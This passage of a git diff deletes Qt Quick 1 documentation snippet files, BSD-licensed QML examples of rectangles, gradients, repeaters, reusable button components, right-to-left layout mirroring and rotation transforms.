(INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -Item { - width: 100; height: 300 - -Item { - x: 10; y: 10 - width: 80; height: 280 - -//! [rectangles] -Rectangle { - y: 0; width: 80; height: 80 - color: "lightsteelblue" -} - -Rectangle { - y: 100; width: 80; height: 80 - gradient: Gradient { - GradientStop { position: 0.0; color: "lightsteelblue" } - GradientStop { position: 1.0; color: "blue" } - } -} - -Rectangle { - y: 200; width: 80; height: 80 - rotation: 90 - gradient: Gradient { - GradientStop { position: 0.0; color: "lightsteelblue" } - GradientStop { position: 1.0; color: "blue" } - } -} -//! [rectangles] -} -} diff --git a/doc/src/snippets/qtquick1/rectangle/rectangle.qml b/doc/src/snippets/qtquick1/rectangle/rectangle.qml deleted file mode 100644 index ced1bb48d2..0000000000 --- a/doc/src/snippets/qtquick1/rectangle/rectangle.qml +++ /dev/null @@ -1,52 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -//! [document] -import QtQuick 1.0 - -Rectangle { - width: 100 - height: 100 - color: "red" - border.color: "black" - border.width: 5 - radius: 10 -} -//! [document] diff --git a/doc/src/snippets/qtquick1/repeaters/repeater-grid-index.qml b/doc/src/snippets/qtquick1/repeaters/repeater-grid-index.qml deleted file mode 100644 index c66d0ec72d..0000000000 --- a/doc/src/snippets/qtquick1/repeaters/repeater-grid-index.qml +++ /dev/null @@ -1,61 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -//! [document] -import QtQuick 1.0 - -Rectangle { - width: 400; height: 400; color: "black" - - Grid { - x: 5; y: 5 - rows: 5; columns: 5; spacing: 10 - - Repeater { model: 24 - Rectangle { width: 70; height: 70 - color: "lightgreen" - - Text { text: index - font.pointSize: 30 - anchors.centerIn: parent } } - } - } -} -//! [document] diff --git a/doc/src/snippets/qtquick1/repeaters/repeater.qml b/doc/src/snippets/qtquick1/repeaters/repeater.qml deleted file mode 100644 index cb0ae704e9..0000000000 --- a/doc/src/snippets/qtquick1/repeaters/repeater.qml +++ /dev/null @@ -1,89 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -//! [import] -import QtQuick 1.0 -//! [import] - -Row { - -//! [simple] -Row { - Repeater { - model: 3 - Rectangle { - width: 100; height: 40 - border.width: 1 - color: "yellow" - } - } -} -//! [simple] - -//! [index] -Column { - Repeater { - model: 10 - Text { text: "I'm item " + index } - } -} -//! [index] - -//! [modeldata] -Column { - Repeater { - model: ["apples", "oranges", "pears"] - Text { text: "Data: " + modelData } - } -} -//! [modeldata] - -//! [layout] -Row { - Rectangle { width: 10; height: 20; color: "red" } - Repeater { - model: 10 - Rectangle { width: 20; height: 20; radius: 10; color: "green" } - } - Rectangle { width: 10; height: 20; color: "blue" } -} -//! [layout] - -} diff --git a/doc/src/snippets/qtquick1/reusablecomponents/Button.qml b/doc/src/snippets/qtquick1/reusablecomponents/Button.qml deleted file mode 100644 index a355cfab06..0000000000 --- a/doc/src/snippets/qtquick1/reusablecomponents/Button.qml +++ /dev/null @@ -1,87 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -//! [document] -//contents of Button.qml -import QtQuick 1.0 - -//! [parent begin] -Rectangle { -//! [parent begin] - id: button -//! [properties] - width: 145; height: 60 - color: "blue" - smooth: true; radius: 9 - property alias text: label.text -//! [properties] -//! [object alias] - property alias label: label -//! [object alias] - border {color: "#B9C5D0"; width: 1} - - gradient: Gradient { - GradientStop {color: "#CFF7FF"; position: 0.0} - GradientStop {color: "#99C0E5"; position: 0.57} - GradientStop {color: "#719FCB"; position: 0.9} - } -//![text] - Text { - id: label - anchors.centerIn: parent - text: "Click Me!" - font.pointSize: 12 - color: "blue" - } -//![text] - MouseArea { - anchors.fill: parent - onClicked: console.log(text + " clicked") - } -//! [parent end] -} -//! [parent end] - -//! [document] - -//! [ellipses] - //... -//! [ellipses] - - diff --git a/doc/src/snippets/qtquick1/reusablecomponents/application.qml b/doc/src/snippets/qtquick1/reusablecomponents/application.qml deleted file mode 100644 index d68efdee37..0000000000 --- a/doc/src/snippets/qtquick1/reusablecomponents/application.qml +++ /dev/null @@ -1,58 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -//! [document] -import QtQuick 1.0 - -Rectangle { - width: 175; height: 350 - color: "lightgrey" - - Column { - anchors.centerIn: parent - spacing: 15 - Button {} - Button {text: "Me Too!"} - Button {text: "Me Three!"} -//! [grouped property] - Button {label.color: "green"} -//! [grouped property] - } -} -//! [document] diff --git a/doc/src/snippets/qtquick1/reusablecomponents/component.qml b/doc/src/snippets/qtquick1/reusablecomponents/component.qml deleted file mode 100644 index 2effb8d123..0000000000 --- a/doc/src/snippets/qtquick1/reusablecomponents/component.qml +++ /dev/null @@ -1,77 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -//! [document] -import QtQuick 1.0 - -//! [parent begin] -Rectangle { -//! [parent begin] - id: screen - width: 175; height: 175 - color: "lightgrey" - -//! [define inline component] - Component { - id: inlinecomponent - Rectangle { - id: display - width: 50; height: 50 - color: "blue" - } - } -//! [define inline component] -//! [create inline component] - MouseArea { - anchors.fill: parent - onClicked: { - inlinecomponent.createObject(parent) - - var second = inlinecomponent.createObject(parent) - - var third = inlinecomponent.createObject(parent) - third.x = second.width + 10 - third.color = "red" - } - } -//! [create inline component] -//! [parent end] -} -//! [parent end] -//! [document] diff --git a/doc/src/snippets/qtquick1/reusablecomponents/focusbutton.qml b/doc/src/snippets/qtquick1/reusablecomponents/focusbutton.qml deleted file mode 100644 index e8fba3255f..0000000000 --- a/doc/src/snippets/qtquick1/reusablecomponents/focusbutton.qml +++ /dev/null @@ -1,98 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -//! [document] -//contents of focusbutton.qml -import QtQuick 1.0 - -//! [parent begin] -FocusScope { -//! [parent begin] - - //! [expose visuals] - //FocusScope needs to bind to visual properties of the children - property alias color: button.color - x: button.x; y: button.y - width: button.width; height: button.height - //! [expose visuals] - - //! [rectangle begin] - Rectangle { - //! [rectangle begin] - id: button - //! [properties] - width: 145; height: 60 - color: "blue" - smooth: true; radius: 9 - property alias text: label.text - //! [properties] - border {color: "#B9C5D0"; width: 1} - - gradient: Gradient { - GradientStop {color: "#CFF7FF"; position: 0.0} - GradientStop {color: "#99C0E5"; position: 0.57} - GradientStop {color: "#719FCB"; position: 0.9} - } - - Text { - id: label - anchors.centerIn: parent - text: "Click Me!" - font.pointSize: 12 - color: "blue" - } - - MouseArea { - anchors.fill: parent - onClicked: console.log(text + " clicked") - } - //! [rectangle end] - } - //! [rectangle end] -//! [parent end] -} -//! [parent end] - -//! [document] - -//! [ellipses] - //... -//! [ellipses] - - diff --git a/doc/src/snippets/qtquick1/reusablecomponents/qmldir b/doc/src/snippets/qtquick1/reusablecomponents/qmldir deleted file mode 100644 index 253732de01..0000000000 --- a/doc/src/snippets/qtquick1/reusablecomponents/qmldir +++ /dev/null @@ -1,4 +0,0 @@ -//! [document] -Button ./Button.qml -FocusButton ./focusbutton.qml -//! [document] diff --git a/doc/src/snippets/qtquick1/righttoleft.qml b/doc/src/snippets/qtquick1/righttoleft.qml deleted file mode 100644 index 3b1671f27b..0000000000 --- a/doc/src/snippets/qtquick1/righttoleft.qml +++ /dev/null @@ -1,149 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.1 -import "righttoleft" - -Column { - width: 200 -//![0] -// automatically aligned to the left -Text { - text: "Phone" - width: 200 -} - -// automatically aligned to the right -Text { - text: "خامل" - width: 200 -} - -// aligned to the left -Text { - text: "خامل" - horizontalAlignment: Text.AlignLeft - width: 200 -} - -// aligned to the right -Text { - text: "خامل" - horizontalAlignment: Text.AlignLeft - LayoutMirroring.enabled: true - width: 200 -} -//![0] - -//![1] -// by default child items are positioned from left to right -Row { - Child {} - Child {} -} - -// position child items from right to left -Row { - layoutDirection: Qt.RightToLeft - Child {} - Child {} -} - -// position child items from left to right -Row { - LayoutMirroring.enabled: true - layoutDirection: Qt.RightToLeft - Child {} - Child {} -} -//![1] - -//![2] -Item { - height: 50; width: 150 - - LayoutMirroring.enabled: true - anchors.left: parent.left // anchor left becomes right - - Row { - // items flow from left to right (as per default) - Child {} - Child {} - Child {} - } -} -//![2] - -//![3] -Item { - height: 50; width: 150 - - LayoutMirroring.enabled: true - LayoutMirroring.childrenInherit: true - anchors.left: parent.left // anchor left becomes right - - Row { - // setting childrenInherit in the parent causes these - // items to flow from right to left instead - Child {} - Child {} - Child {} - } -} -//![3] - -//![4] -Rectangle { - color: "black" - height: 50; width: 50 - x: mirror(10) - function mirror(value) { - return LayoutMirroring.enabled ? (parent.width - width - value) : value; - } -} -//![4] - -//![5] -Image { - source: "arrow.png" - mirror: true -} -//![5] -} diff --git a/doc/src/snippets/qtquick1/righttoleft/Child.qml b/doc/src/snippets/qtquick1/righttoleft/Child.qml deleted file mode 100644 index 634ef85bf8..0000000000 --- a/doc/src/snippets/qtquick1/righttoleft/Child.qml +++ /dev/null @@ -1,51 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -Rectangle { - width: 50; height: 50 - color: "black" - Text { - color: "white" - text: String.fromCharCode(65 + Math.floor(26*Math.random())) - anchors.centerIn: parent - } -} diff --git a/doc/src/snippets/qtquick1/rotation.qml b/doc/src/snippets/qtquick1/rotation.qml deleted file mode 100644 index a33eade793..0000000000 --- a/doc/src/snippets/qtquick1/rotation.qml +++ /dev/null @@ -1,69 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -//! [0] -import QtQuick 1.0 - -Row { - x: 10; y: 10 - spacing: 10 - - Image { source: "pics/qt.png" } - Image { - source: "pics/qt.png" - transform: Rotation { origin.x: 30; origin.y: 30; axis { x: 0; y: 1; z: 0 } angle: 18 } - smooth: true - } - Image { - source: "pics/qt.png" - transform: Rotation { origin.x: 30; origin.y: 30; axis { x: 0; y: 1; z: 0 } angle: 36 } - smooth: true - } - Image { - source: "pics/qt.png" - transform: Rotation { origin.x: 30; origin.y: 30; axis { x: 0; y: 1; z: 0 } angle: 54 } - smooth: true - } - Image { - source: "pics/qt.png" - transform: Rotation { origin.x: 30; origin.y: 30; axis { x: 0; y: 1; z: 0 } angle: 72 } - smooth: true - } -} -//! [0] diff --git a/doc/src/snippets/qtquick1/rotationanimation.qml b/doc/src/snippets/qtquick1/rotationanimation.qml deleted file mode 100644 index 3e9b91b52b..0000000000 --- a/doc/src/snippets/qtquick1/rotationanimation.qml +++ /dev/null @@ -1,66 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT 